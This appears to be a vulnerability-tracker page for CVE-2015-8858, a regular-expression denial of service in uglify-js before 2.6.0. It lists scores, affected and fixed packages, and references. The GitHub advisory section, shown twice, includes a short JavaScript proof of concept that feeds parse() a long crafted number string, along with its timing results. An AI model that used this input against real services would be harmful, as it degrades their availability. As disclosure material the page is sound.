CVE-2015-8858
Regular Expression Denial of Service in uglify-js
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
7.5
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
- Record
CVE-2015-8858- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 7.8 High
AV:N/AC:L/Au:N/C:N/I:N/A:C - Weakness
- CWE-399
- Updated
- 2026-11-02
CVE List No score
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
- Record
CVE-2015-8858- Updated
- 2026-11-02
EUVDEUVD-2017-0215 No score
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
- Record
EUVD-2017-0215- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-c9f4-xj24-8jqx
7.5
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
Proof of Concept
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
Results
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Recommendation
Update to version 2.6.0 or later.
- Record
GHSA-c9f4-xj24-8jqx- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV
7.5
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
- Record
CVE-2015-8858- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVDEBIAN-CVE-2015-8858
7.5
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
- Record
DEBIAN-CVE-2015-8858- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-c9f4-xj24-8jqx
7.5
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
Proof of Concept
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
Results
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Recommendation
Update to version 2.6.0 or later.
- Record
GHSA-c9f4-xj24-8jqx- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2015-8858
7.5
The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
- Record
UBUNTU-CVE-2015-8858- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1773274555 No score
TuxCare security update for uglify-js (2 CVEs)
TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 1.1.1-tuxcare.1.
- Record
CLSA-2026-1773274555- Updated
- 2026-11-02
OSVCLSA-2026-1774225180 No score
TuxCare security update for uglify-js (2 CVEs)
TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 1.3.5-tuxcare.1.
- Record
CLSA-2026-1774225180- Updated
- 2026-11-02
OSVCLSA-2026-1774225182 No score
TuxCare security update for uglify-js (2 CVEs)
TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 2.3.6-tuxcare.1.
- Record
CLSA-2026-1774225182- Updated
- 2026-11-02
OSVCLSA-2026-1776904629 No score
TuxCare security update for uglify-js (2 CVEs)
TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 2.8.29-tuxcare.1.
- Record
CLSA-2026-1776904629- Updated
- 2026-11-02
OSVCLSA-2026-1776904632 No score
TuxCare security update for uglify-js (2 CVEs)
TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 3.4.10-tuxcare.1.
- Record
CLSA-2026-1776904632- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
uglify-jsnpm |
before 2.6.0 | 2.6.0 |
uglify-jsTuxCare:npm From an advisory covering 2 CVEs |
1.1.1-tuxcare.0 up to 1.1.1-tuxcare.1, plus listed versions 1.1.1 |
1.1.1-tuxcare.1 |
uglify-jsTuxCare:npm From an advisory covering 2 CVEs |
1.3.5-tuxcare.0 up to 1.3.5-tuxcare.1, plus listed versions 1.3.5 |
1.3.5-tuxcare.1 |
uglify-jsTuxCare:npm From an advisory covering 2 CVEs |
2.3.6-tuxcare.0 up to 2.3.6-tuxcare.1, plus listed versions 2.3.6 |
2.3.6-tuxcare.1 |
uglify-jsTuxCare:npm From an advisory covering 2 CVEs |
2.8.29-tuxcare.0 up to 2.8.29-tuxcare.1, plus listed versions 2.8.29 |
2.8.29-tuxcare.1 |
uglify-jsTuxCare:npm From an advisory covering 2 CVEs |
3.4.10-tuxcare.0 up to 3.4.10-tuxcare.1, plus listed versions 3.4.10 |
3.4.10-tuxcare.1 |
uglifyjsDebian:13 |
before 2.7.4-1 | 2.7.4-1 |
uglifyjsUbuntu:16.04:LTS |
All versions, plus listed versions 2.4.15-42.4.15-5 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2015-8858 is a high vulnerability (CVSS 7.5) in Uglifyjs Project Uglifyjs, published January 23, 2017. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.36%, the 83rd percentile. Fixed in uglify-js 2.6.0.
References
securityfocus.com/bid/96409
nodesecurity.io/advisories/48
openwall.com/lists/oss-security/2016/04/20/11
nvd.nist.gov/vuln/detail/CVE-2015-8858
github.com/advisories/GHSA-c9f4-xj24-8jqx
npmjs.com/advisories/48
security-tracker.debian.org/tracker/CVE-2015-8858
ubuntu.com/security/CVE-2015-8858
cve.org/CVERecord?id=CVE-2015-8858